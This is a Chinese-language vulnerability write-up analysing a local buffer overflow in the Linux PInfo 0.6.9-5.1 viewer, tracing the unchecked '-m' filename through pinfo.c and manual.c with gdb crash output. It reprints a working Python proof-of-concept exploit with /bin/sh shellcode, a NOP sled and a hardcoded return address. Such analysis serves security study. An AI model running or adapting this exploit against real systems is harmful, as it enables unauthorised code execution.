[Linux]PInfo 0.6.9-5.1本地代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/c3298d36537601753558b3e9240b00b7-pinfo-0.6.9.tar.gz

PoC:

import os, subprocess
 
def run():
  try:
    print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP
 
    buffersize = 564
    nopsled = "\x90"*200
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x40\xf3\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["pinfo -m",' ', buffer])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, PInfo File Viewer - Not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()

测试环境:
Kali Linux 2.0 x86


漏洞复现


pinfo是一个Linux下用于处理文件的工具,它在处理文件时,如果构造一个畸形的文件名,则会调用这个文件名传入执行handlemanual函数,而没有对这个文件名进行检查,从而造成了缓冲区溢出,下面对此漏洞进行详细分析。

首先执行漏洞程序,传入畸形文件名,附加gdb,到达漏洞现场。

$ run -m `python -c 'print "A"*564+"DCBA"'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000002  EBX: 0xB7F0B000  ECX: 0x00004554  EDX: 0x00000100
 o d I t s z a P c
  ESI: 0x41424344  EDI: 0x00004554  EBP: 0xBFFFF4A4  ESP: 0xBFFFEF30
 EIP: 0xB7D92832
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
 --------------------------------------------------------------------------[code]
 => 0xb7d92832 <__GI_getenv+114>:    cmp    di,WORD PTR [esi]
   0xb7d92835 <__GI_getenv+117>:    jne    0xb7d92828 __GI_getenv+104>
   0xb7d92837 <__GI_getenv+119>:    mov    eax,DWORD PTR [esp+0x14]
   0xb7d9283b <__GI_getenv+123>:    mov    DWORD PTR [esp+0x8],eax
   0xb7d9283f <__GI_getenv+127>:    mov    eax,DWORD PTR [esp+0x18]
   0xb7d92843 <__GI_getenv+131>:    mov    DWORD PTR [esp+0x4],eax
   0xb7d92847 <__GI_getenv+135>:    lea    eax,[esi+0x2]
   0xb7d9284a <__GI_getenv+138>:    mov    DWORD PTR [esp],eax
 --------------------------------------------------------------------------------

可以看到,此时esi引用了一处无效地址,接下来可以看一下栈里的情况。

  gdb$ x/100x $esp
 0xbffff250:    0xbffff49c    0x00000003    0x00000001    0x00000002
 0xbffff260:    0xb7d6ebf8    0xb7fe78bd    0xb7d74ffd    0x41049384
 0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141

可以看到此时栈中覆盖了畸形文件名,那么也就是说,esi可以看做一个指针,畸形文件名将esi指针的地址覆盖,造成了缓冲区溢出。


漏洞分析


在源码层进行分析,首先来看pinfo.c文件,这个是pinfo的主文件。

        do
        {
            char *tmp;
            command_line_option = getopt_long(argc, argv,
                    "hvmfrapcsdtnlx", long_options, NULL);

可以看到,主文件中会有一个do while的结构,这个结构负责处理传入参数,command_line_option用于处理传入参数。

            switch(command_line_option)
            {
                case 'x':
                    ClearScreenAtExit = 1;
                    break;
                case 'l':
                    LongManualLinks = 1;
                    break;
                case 'n':
                    if (!optarg)
                    {
                        printf(_("--node option used without argument\n"));
                        exit(1);
                    }
                    pinfo_start_node = malloc(strlen(optarg) + 1);
                    strcpy(pinfo_start_node, optarg);
                    break;
                /* rcfile */
                case 1:
                    if (!optarg)
                    {
                        printf(_("--rcfile option used without argument\n"));
                        exit(1);
                    }
                    rcfile = strdup(optarg);
                    /* parse user-defined config file */
                    parse_config();
                    break;
                case 't':
                    ForceManualTagTable = 1;
                    break;
                case 'h':
                    printf(_("Usage:\n" \
                                "%s [options] [info|manual]\n" \
                                "Options:\n" \
                                "-h, --help                            help\n" \
                                "-v, --version                         version\n" \
                                "-m, --manual                          use man page\n" \
                                "-r, --raw-filename                    use raw filename\n" \
                                "-f, --file                            synonym for -r\n" \
                                "-a, --apropos                         call apropos if nothing found\n" \
                                "-p, --plain-apropos                   call only apropos\n" \
                                "-c, --cut-man-headers                 cut out repeated man headers\n" \
                                "-l, --long-manual-links               use long link names in manuals\n" \
                                "-s, --squeeze-manlines                cut empty lines from manual pages\n" \
                                "-d, --dont-handle-without-tag-table   don't display texinfo pages without tag\n" \
                                "                                      tables\n" \
                                "-t, --force-manual-tag-table          force manual detection of tag table\n" \
                                "-x, --clear-at-exit                   clear screen at exit\n" \
                                "    --node=nodename, --node nodename  jump directly to the node nodename\n" \
                                "    --rcfile=file, --rcfile file      use alternate rcfile\n"),
                            argv[0]);
                    exit(0);
                case 'v':
                    exit(0);
                case 'm':
                    checksu();
                    if (verbose)
                        printf(_("Looking for man page...\n"));
                    strcpy(filename, "");
                    for (i = optind; i < argc; i++)
                    {
                        strcat(filename, argv[i]);
                        strcat(filename, " ");
                    }
                    exit(handlemanual(filename));
                case 'f':
                case 'r':
                    strncpy(filename, argv[argc - 1], 200);
                    /* security check */
                    checkfilename(filename);
                    /* add the raw path to searchpath */
                    addrawpath(filename);
                    tmp = filename + strlen(filename) - 1;
                    /* later, openinfo automaticaly adds them */
                    strip_compression_suffix(filename);
                    /* get basename */
                    while ((tmp > filename) &&(*tmp != '/'))
                        tmp--;
                    if (*tmp == '/')
                        tmp++;
                    /* and try it without '.info' suffix */
                    id = openinfo(tmp, 0);
                    break;
                case 'a':
                    use_apropos = 1;
                    break;
                case 'p':
                    use_apropos = 1;
                    plain_apropos = 1;
                    strncpy(filename, argv[argc - 1], 200);
                    exit(handlemanual(filename));
                    break;
                case 'c':
                    CutManHeaders = 1;
                    break;
                case 'd':
                    DontHandleWithoutTagTable = 1;
                    break;
                case 's':
                    CutEmptyManLines = 1;
                    break;
            }
        }
        while (command_line_option != EOF);

接下来会进入一处switch语句,会根据接收到的参数进入相应的处理,这里关注case m的情况,是触发漏洞的关键位置。

                case 'm':
                    checksu();
                    if (verbose)
                        printf(_("Looking for man page...\n"));
                    strcpy(filename, "");
                    for (i = optind; i < argc; i++)
                    {
                        strcat(filename, argv[i]);
                        strcat(filename, " ");
                    }
                    exit(handlemanual(filename));

case m中,会处理文件名称filename,之后,会根据m后跟的参数情况对filename进行构造。

这里会传入畸形字符串,而可以看到这个过程没有对长度进行检查,接下来会退出处理,exit函数中,会调用给另外一个函数handlemanual。

这个函数位于manual.c中,找到函数开头位置。

/* this is something like main() function for the manual viewer code.  */
int
handlemanual(char *name)
{
    int return_value = 0;
    struct stat statbuf;
    FILE *id;

可以看到第一个参数name,实际上就是传入的畸形字符串filename,接下来继续进行处理。

    if (ignoredmacros)
        /* if there are some macros */
        if (*ignoredmacros && strlen(ignoredmacros))
        {               /* that should be ignored   */
            *location = '\0';
            /* we need to know the path */
            snprintf(cmd, 255, "man -W %s %s",
                    ManOptions,
                    name);
            id = popen(cmd, "r");
            if (!id)
            {
                printf(_("Error: Cannot call man command.\n"));
                return 1;
            }

可以看到,这里会对指针是否为空做一次判断,如果不为空,则会进入文件处理,这里会构造一个cmd命令行,但是对name却没有进行检查而是直接执行sprintf构造,从而导致当传入超长文件名的时候,会由于覆盖cmd缓冲区造成溢出。

Comments
Write a Comment